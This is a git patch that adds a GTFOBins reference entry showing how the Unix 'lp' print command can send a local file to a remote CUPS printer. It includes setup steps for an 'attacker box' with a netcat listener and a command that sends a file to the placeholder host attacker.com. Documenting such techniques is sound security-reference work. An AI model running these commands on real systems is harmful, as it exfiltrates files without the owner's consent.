From a01a420e4320f724f175705da2765b1f9546f2c2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?V=C3=ADctor=20Garc=C3=ADa?= <56491288+takito1812@users.noreply.github.com> Date: Wed, 27 Apr 2022 20:42:18 +0200 Subject: [PATCH] Create lp.md --- _gtfobins/lp.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/lp.md diff --git a/_gtfobins/lp.md b/_gtfobins/lp.md new file mode 100644 index 0000000..cd5958f --- /dev/null +++ b/_gtfobins/lp.md @@ -0,0 +1,16 @@ +--- +functions: + file-upload: + - description: To collect the file run the following on the attacker box (this requires `cups` to be installed): + + Run `lpadmin -p printer -v socket://localhost -E` to create a virtual printer. + Run `lpadmin -d printer` to set the new printer as default. + Run `cupsctl --remote-any` to enable printing from the Internet. + Run `nc -lkp 9100`. + + Send a local file to a CUPS server. + code: | + LFILE=file_to_send + RHOST=attacker.com + lp $LFILE -h $RHOST +---